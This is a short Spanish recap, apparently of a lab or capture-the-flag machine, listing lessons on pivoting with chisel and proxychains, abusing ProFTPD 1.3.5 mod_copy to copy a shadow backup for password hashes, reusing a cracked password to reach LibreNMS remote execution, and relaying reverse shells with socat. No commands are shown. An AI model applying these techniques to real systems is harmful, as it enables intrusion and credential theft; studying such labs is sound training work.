  • Una máquina con dos interfaces es un puente. El primer objetivo comprometido se convierte en la puerta a una red que no era alcanzable; un SOCKS con chisel + proxychains lo automatiza y lleva todas las herramientas a 10.10.0.0/24.
  • mod_copy en ProFTPD 1.3.5 es copia arbitraria sin autenticar. No da RCE por sí solo, pero mover un shadow.bak a un recurso legible basta para hacerse con los hashes. Los logs "informativos" (log.txt) filtraron el origen y el destino exactos: sin ellos, mod_copy no llevaba a ninguna parte.
  • Reutilizar la contraseña del sistema en un panel web encadena el ataque. La misma clave crackeada de aeolus abrió LibreNMS y de ahí salió el RCE. Y al pivotar, la reverse shell no siempre vuela directa: si no hay alcance entre segmentos, un relay socat en la máquina intermedia lo resuelve.
Cheatsheet de comandos 35 comandos

Repaso rápido